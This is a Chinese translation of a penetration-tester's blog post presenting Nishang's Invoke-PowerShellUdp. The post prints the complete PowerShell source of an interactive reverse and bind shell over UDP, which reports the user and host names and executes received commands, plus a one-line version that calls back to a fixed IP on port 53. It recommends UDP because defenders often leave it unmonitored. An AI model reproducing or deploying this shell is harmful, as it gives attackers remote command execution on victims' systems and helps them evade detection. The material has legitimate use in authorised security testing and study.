欢迎来到一周PowerShell脚本的第二天。今天我会介绍使用UDP的交互式PowerShell脚本。我喜欢使用UDP,因为很多安全团队和厂商都会习惯性的忽略它。我也曾在客户的环境中发现像53,161甚至389这些UDP端口没有被正确的过滤或监视。那么下面就让我们来使用UDP得到一些shells吧。
我要隆重介绍给你:Invoke-PowerShellUdp。它同Invoke-PowerShellTcp在语法上有很多相似之处。下面是当前不含帮助文档的源码:
function Invoke-PowerShellUdp{ [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) #Connect back if the reverse switch is used. if ($Reverse) { $endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPAddress),$Port) $client = New-Object System.Net.Sockets.UDPClient } #Bind to the provided port if Bind switch is used. if ($Bind) { $endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::ANY,$Port) $client = New-Object System.Net.Sockets.UDPClient($Port) $client.Receive([ref]$endpoint) } [byte[]]$bytes = 0..255|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $client.Send($sendbytes,$sendbytes.Length,$endpoint) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $client.Send($sendbytes,$sendbytes.Length,$endpoint) while($true) { $receivebytes = $client.Receive([ref]$endpoint) $returndata = ([text.encoding]::ASCII).GetString($receivebytes) $result = (Invoke-Expression -Command $returndata 2>&1 | Out-String ) $sendback = $result + 'PS '+ (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback + $x #Send results back $sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2) $client.Send($sendbytes,$sendbytes.Length,$endpoint) } $client.Close()}
你可以在Nishang的Shells目录下找到:https://github.com/samratashok/nishang/tree/master/Shells
下面截图展示了一个Invoke-PowerShellUdp的反向连接:
使用IPv6的UDP反向连接:
进行主动连接:
上面所有连接的流量数据包(Pcaps)都可以在我的Google drive上找到:https://drive.google.com/open?id=0B-Hsu8q12kG3fmZoREtISjJyTjZiRGpGN29SVVJDWF9TVlBmVExFRnVlWHRsUkVXOTdmLUU&authuser=0
(注:译者已将上述数据包搬运到国内网盘:http://pan.baidu.com/s/1jHtDGyy 密码:4psj)
Invoke-PowerShellUdp同样也有一个只有一行的精简版。下面就是当前Invoke-PowerShellUdpOneLine的源码:
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("192.168.254.226"),53);$client = New-Object System.Net.Sockets.UDPClient(53);[byte[]]$bytes = 0..255|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes = $client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};$client.Close()
当然,Powercat同样也可以用于监听UDP交互式的PowerShell。
好了,今天就这么多,希望你能够喜欢。
*原文:labofapenetrationtester , xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)